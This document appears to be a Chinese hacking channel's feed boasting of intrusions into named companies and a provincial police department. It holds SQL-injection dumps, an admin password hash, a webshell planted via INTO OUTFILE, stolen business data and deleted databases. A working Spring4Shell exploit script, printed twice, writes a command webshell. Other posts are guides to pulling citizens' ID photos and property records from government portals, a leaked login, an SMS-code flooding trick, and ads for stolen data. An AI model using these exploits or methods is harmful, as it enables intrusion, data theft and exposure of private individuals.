BYSGS会所---网站漏洞公布

今日渗透分享：北京京瀚禹电子工程技术有限公司SQL注入 目标：北京京瀚禹电子工程技术有限公司 ( jhyjczx.com ) 技术栈：PHP 5.2.17, Apache, MySQL 5.0.12 在对目标进行信息收集中，发现 about.php?cid=1&id=2 这个URL存在注入风险。 直接上sqlmap，扫描结果非常给力： 一个时间盲注、一个布尔盲注、一个联合注入，UNION查询的存在，基本可以判断无WAF，直接开始脱库。 数据获取： 成功获取数据库 bdm10851955_db，其中 admin 表引起了我们的注意： Database: bdm10851955_db Table: admin [1 entry] +--------------+----------------------------------+ | aname | apass | +--------------+----------------------------------+ | jhywzhht2511 | 122c79b410c885197c565617a1066142 | +--------------+----------------------------------+ 密码是MD5加密，没去暴力破解，感兴趣的可以自己试试 总结： 一个严重的SQL注入，直接导致后台失守。本来后面还有一个竞争条件可以拿shell，但懒得搞了，我要去玩明日方舟终末地！！！ 作者： @Yuhui_ddos 来源： @Yuhui_net

今日分享：森玛克精工科技（江苏）有限公司 链接： http://www.semirke.com/about.php?id=1 等级：SQL注入 -> Getshell 首先在对目标进行信息收集时，发现其官网一处 about.php 参数存在sql注入漏洞。通过sqlmap进行探测，确认了时间盲注和联合查询注入的存在，并成功获取数据库 adm82571079_db 的权限。 深入数据库后发现，其中存放着公司最核心的业务数据。这里共计拿到该公司的一些技术数据，包括各类减速机、电机的核心设计图纸、技术参数、物料清单（BOM表）。此外，还获取了国内客户的详细联系方式、历年销售合同及定价策略，以及国内供应商名单。 接着，为进一步窃取服务器上的文件资料，我们利用SQL注入的 INTO OUTFILE 功能，在读取网站配置文件获取到物理路径后，成功写入webshell，控制了服务器 这里成功进入内网了，后续在进行内部资料寻找，把中心放在研发和财务部门的文件服务器中，不过都是支出流水和一些工作报告，没什么用 目前把sql数据库的东西全删了，网站还能访问，欢迎各位大牛访问。😄 ps：图片默认保存的路径找不到了，只能纯文本了QAQ

全国数据公开：https://t.me/SHUJUWEIJI 数据售卖商店：https://t.me/SHUJUSHANGDIAN

数据频道已爆炸 稍安勿躁 等待重启

留言内涵的不是蛤蟆，而是其他人😪，不要乱套

今日分享：黑龙江省公安厅 等级：高危 这里我们选择个人登录，只有登陆后才能更好的去测试 进入后发现系统维护中，这里我们使用 F12，查看源码，把系统维护中的遮罩删除 删除后我们发现可以正常使用了，这里我们选择进入进度查询 （一般来说我们挖掘后台洞都会选择 查询 预约 申报 个人信息这些功能点） 这里我们查看Js源码 发现存在一个/api/hljga-serv/projectApplyDelivery 这里我们抓包进行访问 成功拿到获取敏感数据上千条 @Yuhui_ddos

漏洞名称：Spring Framework 远程代码执行漏洞（Spring4Shell） 漏洞编号：CVE-2022-22965 危害等级：高危（CVSS 9.8）blog.csdn 漏洞类型：远程代码执行（RCE） 核心原因：在 JDK 9+ 环境下，Spring MVC 的参数绑定机制允许通过 class.module.classLoader 绕过旧补丁（CVE-2010-1622），导致攻击者可修改 Tomcat 的 AccessLogValve 属性，写入恶意 JSP 文件（WebShell） 受影响版本： 组件 受影响版本范围 安全版本 Spring Framework 5.3.0–5.3.17, 5.2.0–5.2.19 ≥5.3.18, ≥5.2.20 Spring Boot 衍生框架（如 2.6.6 以下版本）≥2.6.6 利用条件（需同时满足）： 1.JDK 版本 ≥ 9（因 class.module 是 JDK 9+ 引入）juejin 2.使用 Apache Tomcat 作为 Servlet 容器 3.应用以 WAR 包方式部署（非 JAR）nics.nat.gov 4.依赖 spring-webmvc 或 spring-webflux 发送以下请求，若返回 HTTP 400 错误，可能存在漏洞：

curl -v "http://target:port/path?class.module.classLoader.URLs%5B0%5D=0"

原理：Spring 解析 classLoader.URLs[0]=0 时因类型不匹配（URL 数组无法赋值 0）抛出异常 以下代码来自开源项目

import requests

target_url = "http://target:port/helloworld/greeting"
payload_path = "/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

# 发送payload
response = requests.get(target_url + payload_path)
if response.status_code == 200:
    print("[+] 漏洞可能存在！访问 WebShell：http://target:port/tomcatwar.jsp?pwd=j&cmd=whoami")
else:
    print("[-] 未检测到漏洞")

功能：自动发送 Payload 并写入 WebShell（路径：/tomcatwar.jsp），密码 pwd=j 访问 WebShell 执行命令：

curl "http://your-ip:8080/tomcatwar.jsp?pwd=j&cmd=whoami"

成功则返回服务器用户信息（如 root） @Yuhui_ddos

漏洞名称：Spring Framework 远程代码执行漏洞（Spring4Shell） 漏洞编号：CVE-2022-22965 危害等级：高危（CVSS 9.8）blog.csdn 漏洞类型：远程代码执行（RCE） 核心原因：在 JDK 9+ 环境下，Spring MVC 的参数绑定机制允许通过 class.module.classLoader 绕过旧补丁（CVE-2010-1622），导致攻击者可修改 Tomcat 的 AccessLogValve 属性，写入恶意 JSP 文件（WebShell） 受影响版本： 组件 受影响版本范围 安全版本 Spring Framework 5.3.0–5.3.17, 5.2.0–5.2.19 ≥5.3.18, ≥5.2.20 Spring Boot 衍生框架（如 2.6.6 以下版本）≥2.6.6 利用条件（需同时满足）： 1.JDK 版本 ≥ 9（因 class.module 是 JDK 9+ 引入）juejin 2.使用 Apache Tomcat 作为 Servlet 容器 3.应用以 WAR 包方式部署（非 JAR）nics.nat.gov 4.依赖 spring-webmvc 或 spring-webflux 发送以下请求，若返回 HTTP 400 错误，可能存在漏洞：

curl -v "http://target:port/path?class.module.classLoader.URLs%5B0%5D=0"

原理：Spring 解析 classLoader.URLs[0]=0 时因类型不匹配（URL 数组无法赋值 0）抛出异常 以下代码来自开源项目

import requests

target_url = "http://target:port/helloworld/greeting"
payload_path = "/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

# 发送payload
response = requests.get(target_url + payload_path)
if response.status_code == 200:
    print("[+] 漏洞可能存在！访问 WebShell：http://target:port/tomcatwar.jsp?pwd=j&cmd=whoami")
else:
    print("[-] 未检测到漏洞")

功能：自动发送 Payload 并写入 WebShell（路径：/tomcatwar.jsp），密码 pwd=j 访问 WebShell 执行命令：

curl "http://your-ip:8080/tomcatwar.jsp?pwd=j&cmd=whoami"

成功则返回服务器用户信息（如 root）

北落的想法

全国头 小程序 津社保 打开选择 个人用户 登陆人脸找到 社保卡服务 选择 社保卡申领/补换 然后 开抓包 出大头 或者提示 医保查询未有信息 抓包替换二要素 重发即可 响应有大头内容 大头存在加密 使用小蓝鸟点击响应 原图浏览 手动截图或者直接保存 伤肝肾

。

北京政务 京通注册 开抓包获取人脸前面的一个包 很容易找到就三个包 前面的包获取 ck 北京政务 登录 替换ck 刷新网页提示图片上面的 （有可能替换不了） 提示: 您将访问的业务需要更多身份信息。请使用“京通”小程序扫描下面的二维码完成更高级别的身份认证。 —————————————————- https://bdc.ghzrzyw.beijing.gov.cn/eo/wizard/mainMenu.go 打开这个链接 选择用户中心 选择 一证通登录 如果是图片 国家政务这样子就登录成功了 刷新网页就行了 但是局限性很大 查个不动产可以 查: 不动产抵押登记 宅基地使用权及房屋所有权首次登记| 网上办理

😃😃😀自助全号法人机器人，大家可以体验一下 😄24小时无限制自动秒 😀🧑‍🏭 😃😃😄@chinafarenBOT 中国法人

陕西全省不动产 陕西政务网-登录-跳到咸阳搜权利人-权利人查询-点击跳到咸阳不动产服务平台-选择区域-选择跳转区域-回到政务-回到市-切换市区-点击查询 账号：321322200409245414 密码：Xuhao0924.

QQ隔空发送手机号验证码漏洞 URL： vip.qq.com 随便找一个人 聊天界面发送此链接 点击打开 会员 往下滑 找到会员钻 往最底下翻 找到：豪华绿钻 右上角赠送好友 随便选一个好友 进入界面后 左上角可自定义修改QQ号 自定义数量写120 同意协议并支付 选QQ钱包支付 就弹出一个可以强制发送验证码界面 PS：多个设备多个账号可以一起发，显示频繁之后手机关机重启重复上述步骤即可

新开了一个数据售卖商店频道 欢迎各位来照顾生意 各种全国独家数据出售 未公开未泛滥数据出售 支持任何担保交易 野鸡担保除外 https://t.me/SHOUMAISHUJU